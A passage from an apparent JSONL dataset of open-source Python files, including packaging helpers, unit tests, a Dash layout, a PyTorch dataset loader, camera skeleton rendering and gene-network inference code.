os.path.join(venv_parent, 'Pipfile.lock')\n with open(lock_file, 'r') as lock:\n all_packages = json.loads(lock.read())\n except FileNotFoundError:\n LOGGER.error('Could not open Pipfile.lock, so cannot get dependencies, exiting...')\n raise SystemExit(1)\n packages = [Package(package_name,\n data.get('version'),\n data.get('index'),\n data.get('markers'),\n data.get('hashes', []))\n for package_name, data in all_packages.get('default').items()]\n dev_packages = [Package(package_name,\n data.get('version'),\n data.get('index'),\n data.get('markers'),\n data.get('hashes', []))\n for package_name, data in all_packages.get('develop').items()]\n return packages, dev_packages\n\n\ndef format_marker(marker):\n return f' ; {marker}' if marker else ''\n\n\ndef save_requirements():\n top_level_packages, top_level_dev_packages = get_top_level_dependencies()\n all_packages, all_dev_packages = get_all_packages()\n packages = [package for package in all_packages\n if package.name in top_level_packages]\n dev_packages = [package for package in all_dev_packages\n if package.name in top_level_dev_packages]\n venv_parent = get_venv_parent_path()\n requirements_file = os.path.join(venv_parent, 'requirements.txt')\n with open(requirements_file, 'w') as f:\n requirements = '\\n'.join([f'{package.name}{package.version.replace(\"==\", \"~=\")}{format_marker(package.markers)}'\n for package in sorted(packages, key=lambda x: x.name)])\n f.write(REQUIREMENTS_HEADER + requirements)\n dev_requirements_file = os.path.join(venv_parent, 'dev-requirements.txt')\n with open(dev_requirements_file, 'w') as f:\n dev_requirements = '\\n'.join([f'{package.name}{package.version.replace(\"==\", \"~=\")}{format_marker(package.markers)}'\n for package in sorted(dev_packages, key=lambda x: x.name)])\n f.write(REQUIREMENTS_HEADER + dev_requirements)\n\n\ndef get_version_file_path():\n return os.path.abspath(os.path.join(os.path.dirname(__file__),\n '..',\n '..',\n '.VERSION'))\n\n\ndef bump(segment=None, version_file=None):\n if not version_file:\n version_file = get_version_file_path()\n try:\n with open(version_file) as version:\n version_text = version.read().strip()\n _ = semver.parse(version_text)\n except FileNotFoundError:\n LOGGER.error('Could not find .VERSION file')\n raise SystemExit(1)\n except ValueError:\n LOGGER.error('Invalid version found in .VERSION file \"%s\"', version_text)\n raise SystemExit(1)\n if segment:\n if segment not in ('major', 'minor', 'patch'):\n LOGGER.error('Invalid segment \"%s\" was provided for semantic versioning, exiting...')\n raise SystemExit(1)\n new_version = getattr(semver, 'bump_{}'.format(segment))(version_text)\n with open(version_file, 'w') as vfile:\n vfile.write(new_version)\n return new_version\n else:\n return version_text\n\n\n@contextmanager\ndef cd(new_directory, clean_up=lambda: True): # pylint: disable=invalid-name\n \"\"\"Changes into a given directory and cleans up after it is done\n\n Args:\n new_directory: The directory to change to\n clean_up: A method to clean up the working directory once done\n\n \"\"\"\n previous_directory = os.getcwd()\n os.chdir(os.path.expanduser(new_directory))\n try:\n yield\n finally:\n os.chdir(previous_directory)\n clean_up()\n\n\n@contextmanager\ndef tempdir():\n \"\"\"Creates a temporary directory\"\"\"\n directory_path = tempfile.mkdtemp()\n\n def clean_up(): # pylint: disable=missing-docstring\n shutil.rmtree(directory_path, onerror=on_error)\n\n with cd(directory_path, clean_up):\n yield directory_path\n\n\ndef on_error(func, path, exc_info): # pylint: disable=unused-argument\n \"\"\"\n Error handler for ``shutil.rmtree``.\n\n If the error is due to an access error (read only file)\n it attempts to add write permission and then retries.\n\n If the error is for another reason it re-raises the error.\n\n Usage : ``shutil.rmtree(path, onerror=onerror)``\n\n # 2007/11/08\n # Version 0.2.6\n # pathutils.py\n # Functions useful for working with files and paths.\n # http://www.voidspace.org.uk/python/recipebook.shtml#utils\n\n # Copyright Michael Foord 2004\n # Released subject to the BSD License\n # Please see http://www.voidspace.org.uk/python/license.shtml\n\n # For information about bugfixes, updates and support, please join the Pythonutils mailing list.\n # http://groups.google.com/group/pythonutils/\n # Comments, suggestions and bug reports welcome.\n # Scripts maintained at http://www.voidspace.org.uk/python/index.shtml\n # E-mail fuzzyman@voidspace.org.uk\n \"\"\"\n if not os.access(path, os.W_OK):\n # Is the error an access error ?\n os.chmod(path, stat.S_IWUSR)\n func(path)\n else:\n raise # pylint: disable=misplaced-bare-raise\n\n\nclass Pushd(object):\n \"\"\"Implements bash pushd capabilities\"\"\"\n\n cwd = None\n original_dir = None\n\n def __init__(self, directory_name):\n self.cwd = os.path.realpath(directory_name)\n\n def __enter__(self):\n self.original_dir = os.getcwd()\n os.chdir(self.cwd)\n return self\n\n def __exit__(self, exception_type, exception_value, traceback):\n os.chdir(self.original_dir)\n", "source": "rtoma/prereceivecli", "license": "MIT"}
+{"text": "src = Split('''\r\n base64.c\r\n''')\r\n\r\ncomponent = aos_component('base64', src)", "source": "jinlongliu/AliOS-Things", "license": "Apache-2.0"}
+{"text": "cities = [\n 'Santa Cruz de la Sierra',\n 'Cochabamba',\n 'La Paz',\n 'Sucre',\n 'Oruro',\n 'Tarija',\n 'Potosi',\n 'Sacaba',\n 'Montero',\n 'Quillacollo',\n 'Trinidad',\n 'Yacuiba',\n 'Riberalta',\n 'Tiquipaya',\n 'Guayaramerin',\n 'Bermejo',\n 'Mizque',\n 'Villazon',\n 'Llallagua',\n 'Camiri',\n 'Cobija',\n 'San Borja',\n 'San Ignacio de Velasco',\n 'Tupiza',\n 'Warnes',\n 'San Borja',\n 'Ascencion de Guarayos',\n 'Villamontes',\n 'Cotoca',\n 'Villa Yapacani',\n 'Santiago del Torno',\n 'Huanuni',\n 'Punata',\n 'Ascension',\n 'Mineros',\n 'Santa Ana de Yacuma',\n 'Patacamaya',\n 'Colchani',\n 'Rurrenabaque',\n 'Portachuelo',\n 'Puerto Quijarro',\n 'Uyuni',\n 'Robore',\n 'Pailon',\n 'Cliza',\n 'Achacachi',\n 'Vallegrande',\n 'Monteagudo',\n 'Aiquile',\n 'Tarata',\n 'Challapata',\n 'San Julian',\n 'Reyes',\n 'Concepcion',\n 'San Matias',\n 'La Belgica',\n 'Santa Rosa del Sara',\n 'Capinota',\n 'Chimore',\n 'San Pedro'\n]\n", "source": "xioren/JohnDoe", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\nimport dash_bootstrap_components as dbc\nimport dash_core_components as dcc\nimport dash_html_components as html\n\nfrom app import importer\nfrom app import navbar\nfrom app import sidebar\nfrom app.dimension import dimension_body\nfrom app.graph import spectrum_body\nfrom app.isotopomer import isotopomer_body\nfrom app.modal.about import about_modal\n\n__author__ = \"Deepansh J. Srivastava\"\n__email__ = [\"deepansh2012@gmail.com\"]\n\n\nsub_body = html.Div(\n [\n dbc.Row(\n [\n dbc.Col([html.Br(), isotopomer_body], xs=12, sm=12, md=12, lg=3, xl=3),\n dbc.Col([html.Br(), spectrum_body], xs=12, sm=12, md=12, lg=6, xl=6),\n dbc.Col([html.Br(), dimension_body], xs=12, sm=12, md=12, lg=3, xl=3),\n ]\n ),\n dcc.Store(id=\"local-isotopomers-data\", storage_type=\"memory\"),\n dcc.Store(id=\"local-csdm-data\", storage_type=\"memory\"),\n dcc.Store(id=\"local-computed-data\", storage_type=\"memory\"),\n dcc.Store(id=\"local-dimension-data\", storage_type=\"memory\"),\n dcc.Store(id=\"local-isotopomers-ui-data\", storage_type=\"memory\"),\n ]\n)\n\nbody = dbc.Row(\n [\n dbc.Col(sidebar.sidebar, xs=12, sm=12, md=12, lg=12, xl=12),\n # dbc.Col(wd, xs=12, sm=12, md=12, lg=12, xl=4),\n dbc.Col(\n [html.Div(sub_body), html.Div(id=\"isotopomer_computed_log\")],\n xs=12,\n sm=12,\n md=12,\n lg=12,\n xl=12,\n ),\n ]\n)\n\napp_1 = dbc.Container(\n [\n navbar.navbar_top,\n navbar.import_options,\n html.Div(id=\"buffer\", className=\"buffer\"),\n # navbar.side_panel,\n html.Div(\n [importer.isotopomer_import_layout, importer.spectrum_import_layout],\n id=\"drawers-import\",\n ),\n dbc.Alert(\n id=\"alert-message-isotopomer\",\n color=\"danger\",\n dismissable=True,\n fade=True,\n is_open=False,\n ),\n dbc.Alert(\n id=\"alert-message-spectrum\",\n color=\"danger\",\n dismissable=True,\n fade=True,\n is_open=False,\n ),\n html.Div(body),\n about_modal,\n # test,\n # dbc.Jumbotron(),\n navbar.navbar_bottom,\n ],\n fluid=True,\n className=\"master-padding\",\n)\n", "source": "mVenetos97/mrsimulator-app", "license": "BSD-3-Clause"}
+{"text": "#!/usr/bin/env python3\n# Copyright (c) Meta Platforms, Inc. and affiliates.\n# All rights reserved.\n#\n# This source code is licensed under the BSD-style license found in the\n# LICENSE file in the root directory of this source tree.\n\nimport os\nimport unittest\nfrom dataclasses import dataclass\nfrom typing import Tuple, List, Optional, Dict\n\nimport torch\nimport torch.distributed as dist\nfrom torch import nn, optim\nfrom torchrec.distributed import DistributedModelParallel\nfrom torchrec.distributed.embedding_types import EmbeddingComputeKernel\nfrom torchrec.distributed.embedding_types import (\n SparseFeaturesList,\n)\nfrom torchrec.distributed.embeddingbag import (\n ShardedEmbeddingBagCollection,\n EmbeddingBagCollectionSharder,\n)\nfrom torchrec.distributed.tests.test_model import (\n TestSparseNN,\n ModelInput,\n TestEBCSharder,\n)\nfrom torchrec.distributed.train_pipeline import (\n TrainPipelineBase,\n TrainPipelineSparseDist,\n)\nfrom torchrec.distributed.types import (\n Awaitable,\n ParameterSharding,\n ShardedModuleContext,\n ShardingEnv,\n)\nfrom torchrec.distributed.types import (\n ShardingType,\n)\nfrom torchrec.modules.embedding_configs import EmbeddingBagConfig\nfrom torchrec.modules.embedding_modules import EmbeddingBagCollection\nfrom torchrec.optim.keyed import KeyedOptimizerWrapper\nfrom torchrec.sparse.jagged_tensor import KeyedJaggedTensor\nfrom torchrec.streamable import Pipelineable\nfrom torchrec.tests.utils import get_free_port, init_distributed_single_host\n\n\nclass TestShardedEmbeddingBagCollection(\n ShardedEmbeddingBagCollection[SparseFeaturesList, List[torch.Tensor]]\n):\n def input_dist(\n self,\n ctx: ShardedModuleContext,\n features: KeyedJaggedTensor,\n ) -> Awaitable[SparseFeaturesList]:\n return super().input_dist(ctx, features)\n\n\nclass TestCustomEBCSharder(EmbeddingBagCollectionSharder[EmbeddingBagCollection]):\n def shard(\n self,\n module: EmbeddingBagCollection,\n params: Dict[str, ParameterSharding],\n env: ShardingEnv,\n device: Optional[torch.device] = None,\n ) -> TestShardedEmbeddingBagCollection:\n return TestShardedEmbeddingBagCollection(\n module, params, env, self.fused_params, device\n )\n\n def sharding_types(self, compute_device_type: str) -> List[str]:\n return [\n ShardingType.TABLE_WISE.value,\n ]\n\n def compute_kernels(\n self, sharding_type: str, compute_device_type: str\n ) -> List[str]:\n return [EmbeddingComputeKernel.DENSE.value]\n\n\n@dataclass\nclass ModelInputSimple(Pipelineable):\n float_features: torch.Tensor\n label: torch.Tensor\n\n def to(self, device: torch.device, non_blocking: bool) -> \"ModelInputSimple\":\n return ModelInputSimple(\n float_features=self.float_features.to(\n device=device, non_blocking=non_blocking\n ),\n label=self.label.to(device=device, non_blocking=non_blocking),\n )\n\n def record_stream(self, stream: torch.cuda.streams.Stream) -> None:\n self.float_features.record_stream(stream)\n self.label.record_stream(stream)\n\n\nclass TestModule(nn.Module):\n def __init__(self) -> None:\n super().__init__()\n self.model = nn.Linear(10, 1)\n self.loss_fn = nn.BCEWithLogitsLoss()\n\n def forward(\n self, model_input: ModelInputSimple\n ) -> Tuple[torch.Tensor, torch.Tensor]:\n pred = self.model(model_input.float_features)\n loss = self.loss_fn(pred, model_input.label)\n return (loss, pred)\n\n\nclass TrainPipelineBaseTest(unittest.TestCase):\n def setUp(self) -> None:\n self.device = torch.device(\"cuda:0\")\n torch.backends.cudnn.allow_tf32 = False\n torch.backends.cuda.matmul.allow_tf32 = False\n\n # pyre-fixme[56]: Pyre was not able to infer the type of argument\n @unittest.skipIf(\n torch.cuda.device_count() <= 1,\n \"Not enough GPUs, this test requires at least two GPUs\",\n )\n def test_equal_to_non_pipelined(self) -> None:\n model_cpu = TestModule()\n model_gpu = TestModule().to(self.device)\n model_gpu.load_state_dict(model_cpu.state_dict())\n optimizer_cpu = optim.SGD(model_cpu.model.parameters(), lr=0.01)\n optimizer_gpu = optim.SGD(model_gpu.model.parameters(), lr=0.01)\n data = [\n ModelInputSimple(\n float_features=torch.rand((10,)),\n label=torch.randint(2, (1,), dtype=torch.float32),\n )\n for b in range(5)\n ]\n dataloader = iter(data)\n pipeline = TrainPipelineBase(model_gpu, optimizer_gpu, self.device)\n\n for example in data[:-1]:\n optimizer_cpu.zero_grad()\n loss, pred = model_cpu(example)\n loss.backward()\n optimizer_cpu.step()\n\n pred_gpu = pipeline.progress(dataloader)\n\n self.assertEqual(pred_gpu.device, self.device)\n self.assertTrue(torch.isclose(pred_gpu.cpu(), pred))\n\n\nclass TrainPipelineSparseDistTest(unittest.TestCase):\n def setUp(self) -> None:\n os.environ[\"MASTER_ADDR\"] = str(\"localhost\")\n os.environ[\"MASTER_PORT\"] = str(get_free_port())\n self.pg = init_distributed_single_host(backend=\"gloo\", rank=0, world_size=1)\n\n num_features = 4\n num_weighted_features = 2\n\n self.tables = [\n EmbeddingBagConfig(\n num_embeddings=(i + 1) * 100,\n embedding_dim=(i + 1) * 4,\n name=\"table_\" + str(i),\n feature_names=[\"feature_\" + str(i)],\n )\n for i in range(num_features)\n ]\n self.weighted_tables = [\n EmbeddingBagConfig(\n num_embeddings=(i + 1) * 100,\n embedding_dim=(i + 1) * 4,\n name=\"weighted_table_\" + str(i),\n feature_names=[\"weighted_feature_\" + str(i)],\n )\n for i in range(num_weighted_features)\n ]\n\n self.device = torch.device(\"cuda:0\")\n\n def tearDown(self) -> None:\n super().tearDown()\n dist.destroy_process_group(self.pg)\n\n def _test_move_cpu_gpu_helper(\n self, distributed_model: DistributedModelParallel\n ) -> None:\n model_cpu = TestSparseNN(\n tables=self.tables, weighted_tables=self.weighted_tables\n )\n optimizer_cpu = optim.SGD(model_cpu.parameters(), lr=0.1)\n optimizer_distributed = KeyedOptimizerWrapper(\n dict(distributed_model.named_parameters()),\n lambda params: optim.SGD(params, lr=0.1),\n )\n pipeline = TrainPipelineSparseDist(\n distributed_model, optimizer_distributed, self.device\n )\n\n data = [\n ModelInput.generate(\n tables=self.tables,\n weighted_tables=self.weighted_tables,\n batch_size=1,\n world_size=1,\n num_float_features=10,\n )[0]\n for i in range(5)\n ]\n dataloader = iter(data)\n\n for example in data[:-2]:\n optimizer_cpu.zero_grad()\n loss, pred = model_cpu(example)\n loss.backward()\n optimizer_cpu.step()\n\n pred_gpu = pipeline.progress(dataloader)\n\n self.assertEqual(pred_gpu.device, self.device)\n self.assertEqual(pred_gpu.cpu().size(), pred.size())\n self.assertEqual(len(pipeline._pipelined_modules), 2)\n\n # pyre-fixme[56]: Pyre was not able to infer the type of argument\n @unittest.skipIf(\n torch.cuda.device_count() <= 1,\n \"Not enough GPUs, this test requires at least two GPUs\",\n )\n def test_move_cpu_gpu(self) -> None:\n unsharded_model = TestSparseNN(\n tables=self.tables,\n weighted_tables=self.weighted_tables,\n dense_device=self.device,\n sparse_device=torch.device(\"meta\"),\n )\n distributed_model = DistributedModelParallel(\n unsharded_model,\n env=ShardingEnv.from_process_group(self.pg),\n init_data_parallel=False,\n device=self.device,\n # pyre-ignore [6]\n sharders=[\n TestEBCSharder(\n sharding_type=ShardingType.TABLE_WISE.value,\n kernel_type=EmbeddingComputeKernel.DENSE.value,\n )\n ],\n )\n self._test_move_cpu_gpu_helper(distributed_model)\n\n # pyre-fixme[56]: Pyre was not able to infer the type of argument\n @unittest.skipIf(\n torch.cuda.device_count() <= 1,\n \"Not enough GPUs, this test requires at least two GPUs\",\n )\n def test_pipelining(self) -> None:\n unsharded_model = TestSparseNN(\n tables=self.tables,\n weighted_tables=self.weighted_tables,\n dense_device=self.device,\n sparse_device=torch.device(\"meta\"),\n )\n distributed_model = DistributedModelParallel(\n unsharded_model,\n env=ShardingEnv.from_process_group(self.pg),\n init_data_parallel=False,\n device=self.device,\n # pyre-fixme [6]\n sharders=[TestCustomEBCSharder()],\n )\n self._test_move_cpu_gpu_helper(distributed_model)\n", "source": "wenleix/torchrec", "license": "BSD-3-Clause"}
+{"text": "import unittest\nfrom datetime import datetime\n\nfrom src.product import ProductBundleDiscount\nfrom src.product.products import Product\n\nparam_name_sku_list = [(1), ([]), (''), ({})]\nparam_cost_price_list = [(\"abc\"), ([]), (''), ({})]\n\n\nclass TestProduct(unittest.TestCase):\n def test_product_must_raise_error_when_instantiated_with_no_properties(self):\n with self.assertRaises(TypeError):\n Product()\n\n def test_product_must_raise_error_when_instantiated_with_no_name(self):\n with self.assertRaises(TypeError):\n Product(name=None, cost=0.50, price=1.00, sku='001', unit='un', stock_quantity=100)\n\n def test_product_must_raise_error_when_instantiated_with_no_price(self):\n with self.assertRaises(TypeError):\n Product(name='beans', cost=0.50, price=None, sku='001', unit='un', stock_quantity=100)\n\n def test_product_must_raise_error_when_instantiated_with_no_cost(self):\n with self.assertRaises(TypeError):\n Product(name='beans', cost=None, price=1.00, sku='001', unit='un', stock_quantity=100)\n\n def test_product_must_raise_error_when_instantiated_with_no_sku(self):\n with self.assertRaises(TypeError):\n Product(name='beans', cost=0.50, price=1.00, sku=None, unit='un', stock_quantity=100)\n\n def test_product_must_raise_error_when_instantiated_with_sku_that_is_not_a_string(self):\n for param_sku in param_name_sku_list:\n with self.subTest():\n with self.assertRaises(TypeError):\n Product(name='beans', cost=0.50, price=1.00, sku=param_sku, unit='un', stock_quantity=100)\n\n def test_product_must_raise_error_when_instantiated_with_name_that_is_not_a_string(self):\n for param_name in param_name_sku_list:\n with self.subTest():\n with self.assertRaises(TypeError):\n Product(name=param_name, cost=0.50, price=1.00, sku='123', unit='un', stock_quantity=100)\n\n def test_product_must_raise_error_when_instantiated_with_cost_that_is_not_a_number(self):\n for param_cost in param_cost_price_list:\n with self.subTest():\n with self.assertRaises(TypeError):\n Product(name='beans', cost=param_cost, price=1.00, sku='123', unit='un', stock_quantity=100)\n\n def test_product_must_raise_error_when_instantiated_with_price_that_is_not_a_number(self):\n for param_price in param_cost_price_list:\n with self.subTest():\n with self.assertRaises(TypeError):\n Product(name='beans', cost=0.50, price=param_price, sku='123', unit='un', stock_quantity=100)\n\n def test_product_must_be_instantiated_given_correct_properties(self):\n product = Product(name='beans', cost=0.50, price=1.00, sku='001', unit='un', stock_quantity=100)\n self.assertEqual(product.name, 'beans')\n self.assertEqual(product.cost, 0.50)\n self.assertEqual(product.price, 1.00)\n self.assertEqual(product.sku, '001')\n\n def test_product_must_start_with_an_empty_price_history(self):\n product = Product(name='beans', cost=0.50, price=1.00, sku='001', unit='un', stock_quantity=100)\n now = datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\")\n print(product.price_history)\n self.assertEqual(product.price_history, [(1.00, now)])\n\n def test_product_string_method_must_return_the_name(self):\n product = Product(name='beans', cost=0.50, price=1.00, sku='001', unit='un', stock_quantity=100)\n self.assertEqual(str(product), 'beans')\n\n def test_product_can_be_associated_with_a_bundle_discount(self):\n bundle_discount = ProductBundleDiscount(bundle_quantity=2, bundle_price=0.50)\n product = Product(name='beans', cost=0.50, price=1.00, sku='001', unit='un',\n stock_quantity=100, bundle_discount=bundle_discount)\n self.assertEqual(product.bundle_discount.bundle_quantity, 2)\n self.assertEqual(product.bundle_discount.bundle_price, 0.50)\n", "source": "TijsDeBelie/codekatas-TDD", "license": "MIT"}
+{"text": "__author__='lhq'\n\nimport os\nimport numpy as np\nfrom PIL import Image\nfrom torch.utils.data import Dataset\n\ndef get_train_img():\n \"\"\"\n \u83b7\u53d6\u8f93\u5165\u6570\u636e\n :return:\n \"\"\"\n cwd=os.getcwd()\n mi_dir=cwd+'/dataset/train/mi/'\n shu_dir=cwd+'/dataset/train/shu/'\n file1=os.listdir(mi_dir)\n file0=os.listdir(shu_dir)\n # file1.sort(key=lambda x: int(x[:-4]))\n # file0.sort(key=lambda x: int(x[:-4]))\n mi_img_list=np.empty((1, 64, 64, 3))\n shu_img_list = np.empty((1, 64, 64, 3))\n label=[]\n for mi_img_content in file1:\n mi_img=Image.open(mi_dir+mi_img_content)\n mi_img = np.array(mi_img).reshape((1, 64, 64, 3))\n mi_img_list = np.concatenate((mi_img_list, mi_img), axis=0)\n label.append(1)\n for shu_img_content in file0:\n shu_img=Image.open(shu_dir+shu_img_content)\n shu_img = np.array(shu_img).reshape((1, 64, 64, 3))\n shu_img_list = np.concatenate((shu_img_list, shu_img), axis=0)\n label.append(0)\n mi_img_list = np.delete(mi_img_list, 0, 0)\n shu_img_list = np.delete(shu_img_list, 0, 0)\n label=[int(i) for i in label]\n label=np.array(label)\n img_list=np.concatenate((mi_img_list, shu_img_list), axis=0)\n return img_list,label\n\ndef get_test_img():\n \"\"\"\n \u83b7\u53d6\u8f93\u5165\u6570\u636e\n :return:\n \"\"\"\n cwd=os.getcwd()\n mi_dir=cwd+'/dataset/test/mi/'\n shu_dir=cwd+'/dataset/test/shu/'\n file1=os.listdir(mi_dir)\n file0=os.listdir(shu_dir)\n # file1.sort(key=lambda x: int(x[:-4]))\n # file0.sort(key=lambda x: int(x[:-4]))\n mi_img_list=np.empty((1, 64, 64, 3))\n shu_img_list = np.empty((1, 64, 64, 3))\n label=[]\n for mi_img_content in file1:\n mi_img=Image.open(mi_dir+mi_img_content)\n mi_img = np.array(mi_img).reshape((1, 64, 64, 3))\n mi_img_list = np.concatenate((mi_img_list, mi_img), axis=0)\n label.append(1)\n for shu_img_content in file0:\n shu_img=Image.open(shu_dir+shu_img_content)\n shu_img = np.array(shu_img).reshape((1, 64, 64, 3))\n shu_img_list = np.concatenate((shu_img_list, shu_img), axis=0)\n label.append(0)\n mi_img_list = np.delete(mi_img_list, 0, 0)\n shu_img_list = np.delete(shu_img_list, 0, 0)\n label=[int(i) for i in label]\n label=np.array(label)\n img_list=np.concatenate((mi_img_list, shu_img_list), axis=0)\n return img_list,label\n\nclass MyTrainDataset(Dataset):\n def __init__(self, transform=None, target_transform=None):\n imgs,label = get_train_img()\n self.imgs = imgs\n self.label=label\n self.transform = transform\n self.target_transform = target_transform\n\n def __getitem__(self, index):\n img = self.imgs[index]\n label=self.label[index]\n if self.transform is not None:\n img = self.transform(img)\n return img,label\n\n def __len__(self):\n return len(self.imgs)\n\nclass MyTestDataset(Dataset):\n def __init__(self, transform=None, target_transform=None):\n imgs,label = get_test_img()\n self.imgs = imgs\n self.label=label\n self.transform = transform\n self.target_transform = target_transform\n\n def __getitem__(self, index):\n img = self.imgs[index]\n label=self.label[index]\n if self.transform is not None:\n img = self.transform(img)\n return img,label\n\n def __len__(self):\n return len(self.imgs)\n\n", "source": "lhq1208/Cole", "license": "Apache-2.0"}
+{"text": "import cv2\nimport numpy as np\n\nfrom cv_viewer.utils import *\nimport pyzed.sl as sl\n\n#----------------------------------------------------------------------\n# 2D VIEW\n#----------------------------------------------------------------------\ndef cvt(pt, scale):\n '''\n Function that scales point coordinates\n '''\n out = [pt[0]*scale[0], pt[1]*scale[1]]\n return out\n\ndef render_2D(left_display, img_scale, objects, is_tracking_on):\n '''\n Parameters\n left_display (np.array): numpy array containing image data\n img_scale (list[float])\n objects (list[sl.ObjectData]) \n '''\n overlay = left_display.copy()\n\n # Render skeleton joints and bones\n for obj in objects:\n if render_object(obj, is_tracking_on):\n if len(obj.keypoint_2d) > 0:\n color = generate_color_id_u(obj.id)\n # Draw skeleton bones\n for part in SKELETON_BONES:\n kp_a = cvt(obj.keypoint_2d[part[0].value], img_scale)\n kp_b = cvt(obj.keypoint_2d[part[1].value], img_scale)\n # Check that the keypoints are inside the image\n if(kp_a[0] < left_display.shape[1] and kp_a[1] < left_display.shape[0] \n and kp_b[0] < left_display.shape[1] and kp_b[1] < left_display.shape[0]\n and kp_a[0] > 0 and kp_a[1] > 0 and kp_b[0] > 0 and kp_b[1] > 0 ):\n cv2.line(left_display, (int(kp_a[0]), int(kp_a[1])), (int(kp_b[0]), int(kp_b[1])), color, 1, cv2.LINE_AA)\n \n # Get spine base coordinates to create backbone\n left_hip = obj.keypoint_2d[sl.BODY_PARTS.LEFT_HIP.value]\n right_hip = obj.keypoint_2d[sl.BODY_PARTS.RIGHT_HIP.value]\n spine = (left_hip + right_hip) / 2\n kp_spine = cvt(spine, img_scale)\n kp_neck = cvt(obj.keypoint_2d[sl.BODY_PARTS.NECK.value], img_scale)\n # Check that the keypoints are inside the image\n if(kp_spine[0] < left_display.shape[1] and kp_spine[1] < left_display.shape[0] \n and kp_neck[0] < left_display.shape[1] and kp_neck[1] < left_display.shape[0]\n and kp_spine[0] > 0 and kp_spine[1] > 0 and kp_neck[0] > 0 and kp_neck[1] > 0\n and left_hip[0] > 0 and left_hip[1] > 0 and right_hip[0] > 0 and right_hip[1] > 0 ):\n cv2.line(left_display, (int(kp_spine[0]), int(kp_spine[1])), (int(kp_neck[0]), int(kp_neck[1])), color, 1, cv2.LINE_AA)\n\n # Skeleton joints\n for kp in obj.keypoint_2d:\n cv_kp = cvt(kp, img_scale)\n if(cv_kp[0] < left_display.shape[1] and cv_kp[1] < left_display.shape[0]):\n cv2.circle(left_display, (int(cv_kp[0]), int(cv_kp[1])), 3, color, -1)\n if(kp_spine[0] < left_display.shape[1] and kp_spine[1] < left_display.shape[0]\n and left_hip[0] > 0 and left_hip[1] > 0 and right_hip[0] > 0 and right_hip[1] > 0 ):\n cv2.circle(left_display, (int(kp_spine[0]), int(kp_spine[1])), 3, color, -1)\n \n cv2.addWeighted(left_display, 0.9, overlay, 0.1, 0.0, left_display)", "source": "khanfarhan10/zed-examples", "license": "MIT"}
+{"text": "#!/usr/bin/env python\n\n# Copyright (c) 2009-2019 Quan Xu \n#\n# This module is free software. You can redistribute it and/or modify it under\n# the terms of the MIT License, see the file COPYING included with this\n# distribution.\n\n\"\"\"Build gene regulatory network\"\"\"\n\n# Python imports\nimport os\nimport math\nimport re\nimport shutil\nimport sys\nimport warnings\n\nimport numpy as np\nimport pandas as pd\nfrom scipy.stats import rankdata\nfrom sklearn.preprocessing import minmax_scale\nimport dask.dataframe as dd\nfrom tempfile import NamedTemporaryFile, mkdtemp\nfrom dask.distributed import progress\nfrom loguru import logger\nfrom pandas import HDFStore\nfrom tqdm.auto import tqdm\n\nimport pyranges as pr\n\nwarnings.filterwarnings(\"ignore\")\nPACKAGE_DIR = os.path.dirname(__file__)\n\n\nclass Network(object):\n def __init__(\n self,\n ncore=1,\n genome=\"hg38\",\n gene_bed=None,\n include_promoter=False,\n include_enhancer=True,\n ):\n \"\"\"\n infer cell type-specific gene regulatory network\n\n Parameters\n ----------\n ncore : int\n Specifies the number of threads to use during analysis. (default: 1)\n genome : str\n The genome that is used for the gene annotation and the enhancer location. (default: \"hg38\")\n gene_bed : str, optional\n Gene annotation for the genome specified with -g as a 12 column BED file. (default: None)\n include_promoter : bool\n Include or exclude promoter peaks (<= TSS +/- 2kb) in network inference. (default: False)\n include_enhancer : bool\n Include or exclude enhancer peaks (> TSS +/- 2kb) in network inference. (default: True)\n \"\"\"\n self.ncore = ncore\n self.genome = genome\n self._tmp_files = []\n\n # # Motif information file\n # if pfmfile is None:\n # self.pfmfile = \"../data/gimme.vertebrate.v5.1.pfm\"\n # else:\n # self.pfmfile = pfmfile\n\n # self.motifs2factors = self.pfmfile.replace(\".pfm\", \".motif2factors.txt\")\n # self.factortable = self.pfmfile.replace(\".pfm\", \".factortable.txt\")\n\n # Gene information file\n self.gene_bed = gene_bed\n if gene_bed is None:\n if self.genome in [\"hg38\", \"hg19\"]:\n self.gene_bed = os.path.join(\n PACKAGE_DIR, \"db\", f\"{self.genome}.genes.bed\"\n )\n else:\n raise TypeError(\"Please provide a gene bed file with -a argument.\")\n if not os.path.exists(self.gene_bed):\n raise FileNotFoundError(\n f\"Could not find the gene bed file {self.gene_bed}.\"\n )\n\n # self.promoter = promoter\n self.include_promoter = include_promoter\n\n self.include_enhancer = include_enhancer\n\n @staticmethod\n def unique_enhancers(fname):\n \"\"\"Extract a list of unique enhancers.\n\n Parameters\n ----------\n fname : str\n File name of a tab-separated file that contains an 'enhancer' column.\n\n Returns\n -------\n PyRanges object with enhancers\n \"\"\"\n logger.info(\"reading enhancers\")\n\n # Read enhancers from binding file\n header = pd.read_table(fname, nrows=0)\n idx = header.columns.get_loc(\"enhancer\")\n skiprows = 1\n chunksize = 2_000_000\n enhancers = np.array([])\n while True:\n try:\n tmp = pd.read_table(\n fname,\n usecols=[idx],\n header=None,\n nrows=chunksize,\n skiprows=skiprows,\n )\n except pd.errors.EmptyDataError:\n break\n if tmp.shape[0] == 0 or tmp.iloc[0, 0] in enhancers:\n break\n\n skiprows += chunksize\n enhancers = np.hstack((enhancers, tmp.iloc[:, 0].unique()))\n enhancers = np.unique(enhancers)\n\n # Split into columns and create PyRanges object\n p = re.compile(\"[:-]\")\n enhancers = pr.PyRanges(\n pd.DataFrame(\n [re.split(p, e) for e in enhancers],\n columns=[\"Chromosome\", \"Start\", \"End\"],\n )\n )\n return enhancers\n\n @staticmethod\n def distance_weight(\n include_promoter=False,\n include_enhancer=True,\n alpha=1e4,\n maximum_distance=100_000,\n full_weight_region=5000,\n promoter_region=2000,\n ):\n \"\"\"Build weight distribution based on distance to TSS.\n\n The basic idea is similar to Wang et al. [1], with some modifications.\n The resulting weight ranges from 0 (far from the TSS) to 1 (near the\n TSS) and is based on several different variables.\n\n If `include_promoter` is `True`, then distances smaller than\n `promoter_region` are included, otherwise they are excluded, the weight\n is set to 0.\n The `full_weight_region` parameters determines the region where\n the weight will be 1, regardless of distance. The `maximum_distance`\n parameter sets the maximum distance to consider. The weight decays with\n an increasing distance, starting from 1 at `full_weight_region` to 0\n at `maximum_distance`. The `alpha` parameters controls the decay.\n\n Parameters\n ----------\n include_promoter : bool, optional\n Include promoter regions. Default is False.\n include_enhancer : bool, optional\n Include enhancer regions, ie. regions that are distal to the\n promoter.\n alpha : float, optional\n Controls weight decay, default is 